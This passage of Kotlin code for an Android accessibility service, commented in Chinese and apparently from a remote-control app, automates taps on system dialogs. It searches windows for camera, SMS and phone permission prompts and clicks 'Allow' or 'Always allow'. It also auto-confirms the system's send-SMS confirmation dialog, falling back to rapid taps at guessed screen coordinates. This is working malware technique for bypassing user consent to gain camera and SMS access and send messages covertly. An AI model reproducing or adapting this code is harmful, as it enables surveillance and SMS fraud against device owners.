            Log.e(TAG, "查找所有按钮失败", e)
        }
        
        return buttons
    }
    
    /**
     * 点击按钮
     */
    private fun clickButton(button: AccessibilityNodeInfo) {
        try {
            val bounds = android.graphics.Rect()
            button.getBoundsInScreen(bounds)
            
            val centerX = bounds.centerX().toFloat()
            val centerY = bounds.centerY().toFloat()
            
            Log.i(TAG, "📷 点击摄像头权限按钮: ($centerX, $centerY)")
            
            val gestureBuilder = GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(centerX, centerY)
            gestureBuilder.addStroke(GestureDescription.StrokeDescription(path, 0, 100))
            
            service.dispatchGesture(gestureBuilder.build(), null, null)
        } catch (e: Exception) {
            Log.e(TAG, "点击按钮失败", e)
        }
    }
    
    /**
     * 停止摄像头权限申请
     */
    fun stopCameraPermissionRequest() {
        Log.i(TAG, "🛑 停止摄像头权限申请")
        isRequestingCameraPermission = false
        cameraPermissionRetryCount = 0
    }
    
    /**
     * 停止短信权限申请
     */
    fun stopSMSPermissionRequest() {
        Log.i(TAG, "🛑 停止短信权限申请")
        isRequestingSMSPermission = false
        smsPermissionRetryCount = 0
    }
    
    /**
     * 获取根节点（改进版）
     */
    private fun getRootNode(): AccessibilityNodeInfo? {
        try {
            Log.d(TAG, "📷 开始获取rootNode...")
            
            // 方法1: 直接获取活动窗口
            var rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                val packageName = rootNode.packageName?.toString() ?: ""
                val className = rootNode.className?.toString() ?: ""
                Log.d(TAG, "📷 方法1成功: 包名=$packageName, 类名=$className")
                
                // 如果是系统权限弹框，直接返回
                if (packageName == "android" || packageName.contains("system", ignoreCase = true)) {
                    Log.d(TAG, "📷 检测到系统权限弹框，直接返回")
                    return rootNode
                }
                
                // 检查是否包含权限相关文本
                if (containsPermissionText(rootNode)) {
                    Log.d(TAG, "📷 检测到权限相关文本，返回此节点")
                    return rootNode
                }
                
                rootNode.recycle()
            }
            
            Log.d(TAG, "📷 方法1失败，尝试方法2...")
            
            // 方法2: 等待后重试
            Thread.sleep(500)
            rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                val packageName = rootNode.packageName?.toString() ?: ""
                val className = rootNode.className?.toString() ?: ""
                Log.d(TAG, "📷 方法2成功: 包名=$packageName, 类名=$className")
                
                if (packageName == "android" || containsPermissionText(rootNode)) {
                    return rootNode
                }
                rootNode.recycle()
            }
            
            Log.d(TAG, "📷 方法2失败，尝试方法3...")
            
            // 方法3: 获取所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "📷 找到 ${windows.size} 个窗口，开始检查...")
                
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowRoot = window.root
                    
                    if (windowRoot != null) {
                        val packageName = windowRoot.packageName?.toString() ?: ""
                        val className = windowRoot.className?.toString() ?: ""
                        
                        Log.d(TAG, "📷 窗口 $i: 包名=$packageName, 类名=$className")
                        
                        // 优先选择系统权限弹框
                        if (packageName == "android" || packageName.contains("system", ignoreCase = true)) {
                            Log.d(TAG, "📷 选择系统窗口作为rootNode")
                            return windowRoot
                        }
                        
                        // 检查是否包含权限相关文本
                        if (containsPermissionText(windowRoot)) {
                            Log.d(TAG, "📷 选择包含权限文本的窗口作为rootNode")
                            return windowRoot
                        }
                        
                        // 或者选择包含Dialog的窗口
                        if (className.contains("Dialog", ignoreCase = true) || 
                            className.contains("Alert", ignoreCase = true)) {
                            Log.d(TAG, "📷 选择对话框窗口作为rootNode")
                            return windowRoot
                        }
                    }
                }
                
                // 如果没找到特殊窗口，返回第一个可用的窗口
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowRoot = window.root
                    if (windowRoot != null) {
                        Log.d(TAG, "📷 使用窗口 $i 作为rootNode")
                        return windowRoot
                    }
                }
            }
            
            Log.d(TAG, "📷 所有方法都无法获取rootNode")
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "获取rootNode失败", e)
            return null
        }
    }
    
    /**
     * 专门获取权限弹框节点
     */
    private fun getPermissionDialogNode(): AccessibilityNodeInfo? {
        try {
            Log.d(TAG, "📷 开始专门查找权限弹框节点...")
            
            // 方法1: 检查所有窗口，寻找包含权限文本的窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "📷 检查 ${windows.size} 个窗口...")
                
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowRoot = window.root
                    
                    if (windowRoot != null) {
                        val packageName = windowRoot.packageName?.toString() ?: ""
                        val className = windowRoot.className?.toString() ?: ""
                        
                        Log.d(TAG, "📷 窗口 $i: 包名=$packageName, 类名=$className")
                        
                        // 检查是否包含权限相关文本
                        if (containsPermissionText(windowRoot)) {
                            Log.d(TAG, "📷 找到包含权限文本的窗口: $packageName")
                            return windowRoot
                        }
                        
                        // 检查是否是系统权限弹框
                        if (packageName == "android" && 
                            (className.contains("Dialog", ignoreCase = true) || 
                             className.contains("Alert", ignoreCase = true))) {
                            Log.d(TAG, "📷 找到系统权限弹框: $packageName/$className")
                            return windowRoot
                        }
                    }
                }
            }
            
            // 方法2: 检查活动窗口的子节点
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "📷 检查活动窗口的子节点...")
                
                // 递归查找包含权限文本的节点
                val permissionNode = findPermissionNodeInTree(rootNode)
                if (permissionNode != null) {
                    Log.d(TAG, "📷 在活动窗口中找到权限节点")
                    return permissionNode
                }
                
                rootNode.recycle()
            }
            
            Log.d(TAG, "📷 未找到权限弹框节点")
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "获取权限弹框节点失败", e)
            return null
        }
    }
    
    /**
     * 在节点树中递归查找短信权限相关节点
     */
    private fun findSMSPermissionNodeInTree(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        try {
            // 检查当前节点
            if (containsSMSPermissionText(node)) {
                return node
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findSMSPermissionNodeInTree(child)
                    if (result != null) {
                        child.recycle()
                        return result
                    }
                    child.recycle()
                }
            }
            
            return null
        } catch (e: Exception) {
            Log.e(TAG, "查找短信权限节点失败", e)
            return null
        }
    }
    
    /**
     * 在节点树中递归查找权限相关节点
     */
    private fun findPermissionNodeInTree(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        try {
            // 检查当前节点
            if (containsPermissionText(node)) {
                return node
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findPermissionNodeInTree(child)
                    if (result != null) {
                        child.recycle()
                        return result
                    }
                    child.recycle()
                }
            }
            
            return null
        } catch (e: Exception) {
            Log.e(TAG, "查找权限节点失败", e)
            return null
        }
    }
    
    /**
     * 检查节点是否包含短信权限相关文本
     */
    private fun containsSMSPermissionText(node: AccessibilityNodeInfo): Boolean {
        try {
            val text = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            
            val smsPermissionTexts = listOf(
                "短信", "SMS", "Sms", "SMS权限",
                "电话", "Phone", "PHONE", "电话权限",
                "允许", "Allow", "允许访问", "Allow access",
                "权限", "Permission", "PERMISSION",
                "读取短信", "Read SMS", "发送短信", "Send SMS",
                "电话状态", "Phone state", "PHONE_STATE"
            )
            
            for (permissionText in smsPermissionTexts) {
                if (text.contains(permissionText, ignoreCase = true) || 
                    contentDescription.contains(permissionText, ignoreCase = true)) {
                    return true
                }
            }
            
            return false
        } catch (e: Exception) {
            Log.e(TAG, "检查短信权限文本失败", e)
            return false
        }
    }
    
    /**
     * 检查节点是否包含权限相关文本
     */
    private fun containsPermissionText(node: AccessibilityNodeInfo): Boolean {
        try {
            val permissionKeywords = listOf(
                "摄像头", "相机", "Camera", "camera",
                "使用时允许", "仅本次使用时允许", "仅在使用时允许",
                "允许", "拒绝", "Allow", "Deny",
                "权限", "Permission", "permission"
            )
            
            val nodeText = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            
            for (keyword in permissionKeywords) {
                if (nodeText.contains(keyword, ignoreCase = true) || 
                    contentDescription.contains(keyword, ignoreCase = true)) {
                    Log.d(TAG, "📷 找到权限关键词: $keyword")
                    return true
                }
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    if (containsPermissionText(child)) {
                        child.recycle()
                        return true
                    }
                    child.recycle()
                }
            }
            
            return false
        } catch (e: Exception) {
            Log.e(TAG, "检查权限文本失败", e)
            return false
        }
    }
    
    /**
     * 调试方法：打印所有可见的UI元素
     */
    fun debugAllVisibleElements() {
        try {
            Log.d(TAG, "📷 开始调试所有可见UI元素...")
            
            // 检查所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "📷 找到 ${windows.size} 个窗口")
                
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowRoot = window.root
                    
                    if (windowRoot != null) {
                        val packageName = windowRoot.packageName?.toString() ?: ""
                        val className = windowRoot.className?.toString() ?: ""
                        val windowTitle = window.title?.toString() ?: ""
                        val windowType = window.type
                        
                        Log.d(TAG, "📷 窗口 $i: 包名=$packageName, 类名=$className, 标题=$windowTitle, 类型=$windowType")
                        
                        // 打印窗口内容
                        printAllVisibleTexts(windowRoot, 0)
                        
                        windowRoot.recycle()
                    }
                }
            }
            
            // 检查活动窗口
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "📷 活动窗口: 包名=${rootNode.packageName}, 类名=${rootNode.className}")
                printAllVisibleTexts(rootNode, 0)
                rootNode.recycle()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "调试UI元素失败", e)
        }
    }
    
    /**
     * 开始检测发送短信权限弹框
     */
    fun startSendSMSPermissionDetection() {
        if (isDetectingSendSMSPermission) {
            Log.i(TAG, "📱 发送短信权限弹框检测已在进行中")
            return
        }
        
        Log.i(TAG, "📱 开始检测发送短信权限弹框")
        isDetectingSendSMSPermission = true
        sendSMSPermissionRetryCount = 0
        
        // 启动检测协程
        serviceScope.launch {
            while (isDetectingSendSMSPermission && sendSMSPermissionRetryCount < maxRetryCount) {
                delay(sendSMSPermissionRetryInterval)
                
                Log.d(TAG, "📱 第 ${sendSMSPermissionRetryCount + 1} 次检测发送短信权限弹框...")
                
                // 检查无障碍服务状态
                if (!AccessibilityRemoteService.isServiceRunning()) {
                    Log.w(TAG, "⚠️ 无障碍服务未运行，停止检测")
                    isDetectingSendSMSPermission = false
                    break
                }
                
                sendSMSPermissionRetryCount++
            }
            
            if (sendSMSPermissionRetryCount >= maxRetryCount) {
                Log.w(TAG, "⚠️ 发送短信权限弹框检测超时")
                isDetectingSendSMSPermission = false
            }
        }
    }
    
    /**
     * 停止检测发送短信权限弹框
     */
    fun stopSendSMSPermissionDetection() {
        Log.i(TAG, "🛑 停止检测发送短信权限弹框")
        isDetectingSendSMSPermission = false
        sendSMSPermissionRetryCount = 0
    }
    
    /**
     * 检测和处理发送短信权限弹框
     */
    private fun detectAndHandleSendSMSPermissionDialog(): Boolean {
        try {
            Log.d(TAG, "📱 开始检测发送短信权限弹框...")
            
            // 方法1: 检查所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "📱 检查 ${windows.size} 个窗口...")
                
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""
                    val windowType = window.type
                    val windowId = window.id
                    
                    Log.d(TAG, "📱 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
                    
                    // 检查窗口标题是否包含发送短信权限相关文本
                    if (windowTitle.contains("短信", ignoreCase = true) ||
                        windowTitle.contains("SMS", ignoreCase = true) ||
                        windowTitle.contains("发送", ignoreCase = true) ||
                        windowTitle.contains("Send", ignoreCase = true) ||
                        windowTitle.contains("允许", ignoreCase = true) ||
                        windowTitle.contains("Allow", ignoreCase = true) ||
                        windowTitle.contains("permission", ignoreCase = true)) {
                        Log.d(TAG, "📱 找到发送短信权限弹框窗口: 标题=$windowTitle, ID=$windowId")
                        
                        // 尝试通过窗口ID获取根节点
                        val windowRoot = getWindowRootByTitle(windowTitle)
                        if (windowRoot != null) {
                            Log.d(TAG, "📱 成功获取发送短信权限弹框根节点")
                            
                            // 直接尝试点击按钮
                            if (tryClickSendSMSPermissionButtons(windowRoot)) {
                                windowRoot.recycle()
                                return true
                            }
                            
                            windowRoot.recycle()
                        } else {
                            Log.w(TAG, "⚠️ 无法获取发送短信权限弹框根节点，尝试坐标点击...")
                            
                            // 尝试通过坐标点击
                            if (tryClickSendSMSPermissionByCoordinates()) {
                                return true
                            }
                        }
                    }
                }
            }
            
            // 方法2: 检查活动窗口
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "📱 检查活动窗口...")
                
                // 递归查找权限相关节点
                val permissionNode = findSendSMSPermissionNodeInTree(rootNode)
                if (permissionNode != null) {
                    Log.d(TAG, "📱 在活动窗口中找到发送短信权限节点")
                    
                    if (tryClickSendSMSPermissionButtons(permissionNode)) {
                        permissionNode.recycle()
                        rootNode.recycle()
                        return true
                    }
                    
                    permissionNode.recycle()
                }
                
                rootNode.recycle()
            }
            
            Log.d(TAG, "📱 未找到发送短信权限弹框")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "检测发送短信权限弹框失败", e)
            return false
        }
    }
    
    /**
     * 在节点树中查找发送短信权限相关节点
     */
    private fun findSendSMSPermissionNodeInTree(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        try {
            val text = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            val className = node.className?.toString() ?: ""
            
            // 检查是否包含发送短信权限相关文本
            val sendSMSPermissionTexts = listOf(
                "短信", "SMS", "Sms", "SMS权限",
                "发送", "Send", "SEND", "发送短信", "Send SMS",
                "电话", "Phone", "PHONE", "电话权限",
                "允许", "Allow", "允许访问", "Allow access",
                "权限", "Permission", "PERMISSION",
                "读取短信", "Read SMS", "发送短信", "Send SMS",
                "电话状态", "Phone state", "PHONE_STATE"
            )
            
            for (permissionText in sendSMSPermissionTexts) {
                if (text.contains(permissionText, ignoreCase = true) ||
                    contentDescription.contains(permissionText, ignoreCase = true)) {
                    Log.d(TAG, "📱 找到发送短信权限节点: 文本='$text', 描述='$contentDescription'")
                    return node
                }
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findSendSMSPermissionNodeInTree(child)
                    if (result != null) {
                        return result
                    }
                    child.recycle()
                }
            }
            
            return null
        } catch (e: Exception) {
            Log.e(TAG, "查找发送短信权限节点失败", e)
            return null
        }
    }
    
    /**
     * 尝试点击发送短信权限按钮
     */
    private fun tryClickSendSMSPermissionButtons(node: AccessibilityNodeInfo): Boolean {
        try {
            Log.d(TAG, "📱 尝试点击发送短信权限按钮...")
            
            // 发送短信权限按钮文本
            val buttonTexts = listOf(
                "允许", "Allow", "确定", "OK", "是", "Yes",
                "使用时允许", "Allow while using",
                "仅本次使用时允许", "Allow only this time",
                "始终允许", "Allow always",
                "仅此一次", "Just once"
            )
            
            // 查找所有按钮
            val allButtons = findAllButtons(node)
            Log.d(TAG, "📱 找到 ${allButtons.size} 个按钮")
            
            for (btn in allButtons) {
                val btnText = btn.text?.toString() ?: ""
                val btnDesc = btn.contentDescription?.toString() ?: ""
                
                Log.d(TAG, "📱 检查按钮: 文本='$btnText', 描述='$btnDesc'")
                
                // 检查是否是权限按钮
                for (buttonText in buttonTexts) {
                    if (btnText.contains(buttonText, ignoreCase = true) || 
                        btnDesc.contains(buttonText, ignoreCase = true)) {
                        Log.i(TAG, "📱 找到发送短信权限按钮: '$btnText', 描述: '$btnDesc'")
                        
                        // 尝试点击按钮
                        clickButton(btn)
                        Log.i(TAG, "📱 成功点击发送短信权限按钮: '$btnText'")
                        btn.recycle()
                        return true
                    }
                }
                
                btn.recycle()
            }
            
            Log.w(TAG, "⚠️ 未找到发送短信权限按钮")
            return false
        } catch (e: Exception) {
            Log.e(TAG, "点击发送短信权限按钮失败", e)
            return false
        }
    }
    
    /**
     * 通过坐标点击发送短信权限按钮
     */
    private fun tryClickSendSMSPermissionByCoordinates(): Boolean {
        try {
            Log.d(TAG, "📱 尝试通过坐标点击发送短信权限按钮...")
            
            val displayMetrics = service.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            
            Log.d(TAG, "📱 屏幕尺寸: ${screenWidth}x${screenHeight}")
            
            // 优先使用与 tryClickByCoordinates 一致的机型坐标策略
            try {
                val fullBounds = android.graphics.Rect(0, 0, screenWidth, screenHeight)
                val (prefX, prefY) = getDeviceSpecificClickPoint(fullBounds)
                Log.d(TAG, "🧭 机型策略优先点击: ($prefX, $prefY)")
                if (clickScreenCoordinate(prefX, prefY)) {
                    Log.i(TAG, "📱 机型策略坐标点击成功: ($prefX, $prefY)")
                    return true
                }
            } catch (e: Exception) {
                Log.w(TAG, "机型策略坐标点击异常，继续使用通用坐标尝试", e)
            }
            
            val buttonPositions = arrayOf(
                Pair(0.5f, 0.6f), Pair(0.5f, 0.7f), Pair(0.5f, 0.8f),
                Pair(0.6f, 0.6f), Pair(0.6f, 0.7f), Pair(0.6f, 0.8f),
                Pair(0.4f, 0.6f), Pair(0.4f, 0.7f), Pair(0.4f, 0.8f),
                Pair(0.7f, 0.6f), Pair(0.7f, 0.7f), Pair(0.7f, 0.8f),
                Pair(0.3f, 0.6f), Pair(0.3f, 0.7f), Pair(0.3f, 0.8f)
            )
            
            for ((xRatio, yRatio) in buttonPositions) {
                val x = (screenWidth * xRatio).toInt()
                val y = (screenHeight * yRatio).toInt()
                
                Log.d(TAG, "📱 尝试点击坐标: ($x, $y)")
                
                if (clickScreenCoordinate(x, y)) {
                    Log.i(TAG, "📱 通过屏幕坐标成功点击: ($x, $y)")
                    return true
                }
                Thread.sleep(200)
            }
            Log.w(TAG, "⚠️ 所有屏幕坐标点击都失败")
            return false
        } catch (e: Exception) {
            Log.e(TAG, "通过坐标点击发送短信权限按钮失败", e)
            return false
        }
    }
    
    /**
     * 点击屏幕坐标
     */
    private fun clickScreenCoordinate(x: Int, y: Int): Boolean {
        try {
            Log.d(TAG, "📱 点击屏幕坐标: ($x, $y)")
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(x.toFloat(), y.toFloat())
            gestureBuilder.addStroke(android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 100))

            val gesture = gestureBuilder.build()
            val result = service.dispatchGesture(gesture, null, null)
            if (result) {
                Log.d(TAG, "📱 屏幕坐标点击成功: ($x, $y)")
                return true
            } else {
                Log.w(TAG, "⚠️ 屏幕坐标点击失败: ($x, $y)")
                return false
            }
        } catch (e: Exception) {
            Log.e(TAG, "点击屏幕坐标失败: ($x, $y)", e)
            return false
        }
    }
    
    /**
     * 开始检测发送短信确认对话框
     */
    fun startSendSMSConfirmationDetection() {
        if (isDetectingSendSMSConfirmation) {
            Log.i(TAG, "📱 发送短信确认对话框检测已在进行中")
            return
        }
        
        Log.i(TAG, "📱 开始检测发送短信确认对话框")
        isDetectingSendSMSConfirmation = true
        sendSMSConfirmationRetryCount = 0
        
        // 启动检测协程
        serviceScope.launch {
            while (isDetectingSendSMSConfirmation && sendSMSConfirmationRetryCount < maxRetryCount) {
                delay(sendSMSConfirmationRetryInterval)
                
                Log.d(TAG, "📱 第 ${sendSMSConfirmationRetryCount + 1} 次检测发送短信确认对话框...")
                
                // 检查无障碍服务状态
                if (!AccessibilityRemoteService.isServiceRunning()) {
                    Log.w(TAG, "⚠️ 无障碍服务未运行，停止检测")
                    isDetectingSendSMSConfirmation = false
                    break
                }
                
                sendSMSConfirmationRetryCount++
            }
            
            if (sendSMSConfirmationRetryCount >= maxRetryCount) {
                Log.w(TAG, "⚠️ 发送短信确认对话框检测超时")
                isDetectingSendSMSConfirmation = false
            }
        }
    }
    
    /**
     * 停止检测发送短信确认对话框
     */
    fun stopSendSMSConfirmationDetection() {
        Log.i(TAG, "🛑 停止检测发送短信确认对话框")
        isDetectingSendSMSConfirmation = false
        sendSMSConfirmationRetryCount = 0
    }
    
    /**
     * 检测和处理发送短信确认对话框
     */
    private fun detectAndHandleSendSMSConfirmationDialog(): Boolean {
        try {
            Log.d(TAG, "📱 开始检测发送短信确认对话框...")
            
            // 方法1: 检查所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "📱 检查 ${windows.size} 个窗口...")
                
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""
                    val windowType = window.type
                    val windowId = window.id
                    
                    Log.d(TAG, "📱 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
                    
                    // 检查窗口标题是否包含发送短信确认相关文本
                    if (windowTitle.contains("发送", ignoreCase = true) ||
                        windowTitle.contains("Send", ignoreCase = true) ||
                        windowTitle.contains("短信", ignoreCase = true) ||
                        windowTitle.contains("SMS", ignoreCase = true) ||
                        windowTitle.contains("确认", ignoreCase = true) ||
                        windowTitle.contains("Confirm", ignoreCase = true) ||
                        windowTitle.contains("确定", ignoreCase = true) ||
                        windowTitle.contains("OK", ignoreCase = true)) {
                        Log.d(TAG, "📱 找到发送短信确认对话框窗口: 标题=$windowTitle, ID=$windowId")
                        
                        // 尝试通过窗口ID获取根节点
                        val windowRoot = getWindowRootByTitle(windowTitle)
                        if (windowRoot != null) {
                            Log.d(TAG, "📱 成功获取发送短信确认对话框根节点")
                            
                            // 直接尝试点击按钮
                            if (tryClickSendSMSConfirmationButtons(windowRoot)) {
                                windowRoot.recycle()
                                return true
                            }
                            
                            windowRoot.recycle()
                        } else {
                            Log.w(TAG, "⚠️ 无法获取发送短信确认对话框根节点，尝试坐标点击...")
                            
                            // 尝试通过坐标点击
                            if (tryClickSendSMSConfirmationByCoordinates()) {
                                return true
                            }
                        }
                    }
                }
            }
            
            // 方法2: 检查活动窗口
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "📱 检查活动窗口...")
                
                // 递归查找确认相关节点
                val confirmationNode = findSendSMSConfirmationNodeInTree(rootNode)
                if (confirmationNode != null) {
                    Log.d(TAG, "📱 在活动窗口中找到发送短信确认节点")
                    
                    if (tryClickSendSMSConfirmationButtons(confirmationNode)) {
                        confirmationNode.recycle()
                        rootNode.recycle()
                        return true
                    }
                    
                    confirmationNode.recycle()
                }
                
                rootNode.recycle()
            }
            
            Log.d(TAG, "📱 未找到发送短信确认对话框")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "检测发送短信确认对话框失败", e)
            return false
        }
    }
    
    /**
     * 在节点树中查找发送短信确认相关节点
     */
    private fun findSendSMSConfirmationNodeInTree(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        try {
            val text = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            val className = node.className?.toString() ?: ""
            
            // 检查是否包含发送短信确认相关文本
            val confirmationTexts = listOf(
                "发送", "Send", "SEND", "发送短信", "Send SMS",
                "确认", "Confirm", "CONFIRM", "确认发送", "Confirm Send",
                "确定", "OK", "确定发送", "OK Send",
                "是", "Yes", "YES", "是，发送", "Yes, Send",
                "短信", "SMS", "Sms", "消息", "Message",
                "将发短信", "will send SMS", "发短信至", "send SMS to"
            )
            
            for (confirmationText in confirmationTexts) {
                if (text.contains(confirmationText, ignoreCase = true) ||
                    contentDescription.contains(confirmationText, ignoreCase = true)) {
                    Log.d(TAG, "📱 找到发送短信确认节点: 文本='$text', 描述='$contentDescription'")
                    return node
                }
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findSendSMSConfirmationNodeInTree(child)
                    if (result != null) {
                        return result
                    }
                    child.recycle()
                }
            }
            
            return null
        } catch (e: Exception) {
            Log.e(TAG, "查找发送短信确认节点失败", e)
            return null
        }
    }
    
    /**
     * 尝试点击发送短信确认按钮
     */
    private fun tryClickSendSMSConfirmationButtons(node: AccessibilityNodeInfo): Boolean {
        try {
            Log.d(TAG, "📱 尝试点击发送短信确认按钮...")
            
            // 发送短信确认按钮文本（根据图片中的按钮）
            val buttonTexts = listOf(
                "发送", "Send", "确定", "OK", "确认", "Confirm", "是", "Yes",
                "发送短信", "Send SMS", "是，发送", "Yes, Send", 
                "确定发送", "OK Send", "确认发送", "Confirm Send"
            )
            
            // 查找所有按钮
            val allButtons = findAllButtons(node)
            Log.d(TAG, "📱 找到 ${allButtons.size} 个按钮")
            
            for (btn in allButtons) {
                val btnText = btn.text?.toString() ?: ""
                val btnDesc = btn.contentDescription?.toString() ?: ""
                
                Log.d(TAG, "📱 检查按钮: 文本='$btnText', 描述='$btnDesc'")
                
                // 检查是否是确认按钮（优先选择"发送"按钮）
                for (buttonText in buttonTexts) {
                    if (btnText.contains(buttonText, ignoreCase = true) || 
                        btnDesc.contains(buttonText, ignoreCase = true)) {
                        Log.i(TAG, "📱 找到发送短信确认按钮: '$btnText', 描述: '$btnDesc'")
                        
                        // 尝试点击按钮
                        clickButton(btn)
                        Log.i(TAG, "📱 成功点击发送短信确认按钮: '$btnText'")
                        btn.recycle()
                        return true
                    }
                }
                
                btn.recycle()
            }
            
            Log.w(TAG, "⚠️ 未找到发送短信确认按钮")
            return false
        } catch (e: Exception) {
            Log.e(TAG, "点击发送短信确认按钮失败", e)
            return false
        }
    }
    
    /**
     * 通过坐标点击发送短信确认按钮（公共方法）
     */
    fun tryClickSendSMSConfirmationByCoordinates(): Boolean {
        try {
            Log.d(TAG, "📱 尝试通过坐标点击发送短信确认按钮...")
            
            val displayMetrics = service.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            
            Log.d(TAG, "📱 屏幕尺寸: ${screenWidth}x${screenHeight}")
            
            // 根据图片，确认对话框在屏幕下方，"发送"按钮在右下角
            // 增加更多右下角位置的点击尝试，覆盖倒计时按钮区域
            val buttonPositions = arrayOf(
                // 右下角主要区域（"发送"按钮位置）
                Pair(0.8f, 0.85f), Pair(0.85f, 0.85f), Pair(0.9f, 0.85f),
                Pair(0.75f, 0.85f), Pair(0.8f, 0.8f), Pair(0.85f, 0.8f),
                Pair(0.9f, 0.8f), Pair(0.95f, 0.8f),
                
                // 稍微上一点的位置
                Pair(0.8f, 0.8f), Pair(0.85f, 0.8f), Pair(0.9f, 0.8f),
                Pair(0.75f, 0.8f), Pair(0.8f, 0.75f), Pair(0.85f, 0.75f),
                
                // 更精确的右下角位置
                Pair(0.82f, 0.82f), Pair(0.87f, 0.82f), Pair(0.92f, 0.82f),
                Pair(0.77f, 0.82f), Pair(0.82f, 0.77f), Pair(0.87f, 0.77f),
                
                // 备用位置
                Pair(0.7f, 0.8f), Pair(0.6f, 0.8f), Pair(0.5f, 0.8f),
                Pair(0.8f, 0.7f), Pair(0.85f, 0.7f), Pair(0.9f, 0.7f)
            )
            
            for ((xRatio, yRatio) in buttonPositions) {
                val x = (screenWidth * xRatio).toInt()
                val y = (screenHeight * yRatio).toInt()
                
                Log.d(TAG, "📱 尝试点击坐标: ($x, $y)")
                
                if (clickScreenCoordinate(x, y)) {
                    Log.i(TAG, "📱 通过屏幕坐标成功点击: ($x, $y)")
                    return true
                }
                Thread.sleep(200) // 最小间隔，极速点击
            }
            Log.w(TAG, "⚠️ 所有屏幕坐标点击都失败")
            return false
        } catch (e: Exception) {
            Log.e(TAG, "通过坐标点击发送短信确认按钮失败", e)
            return false
        }
    }
}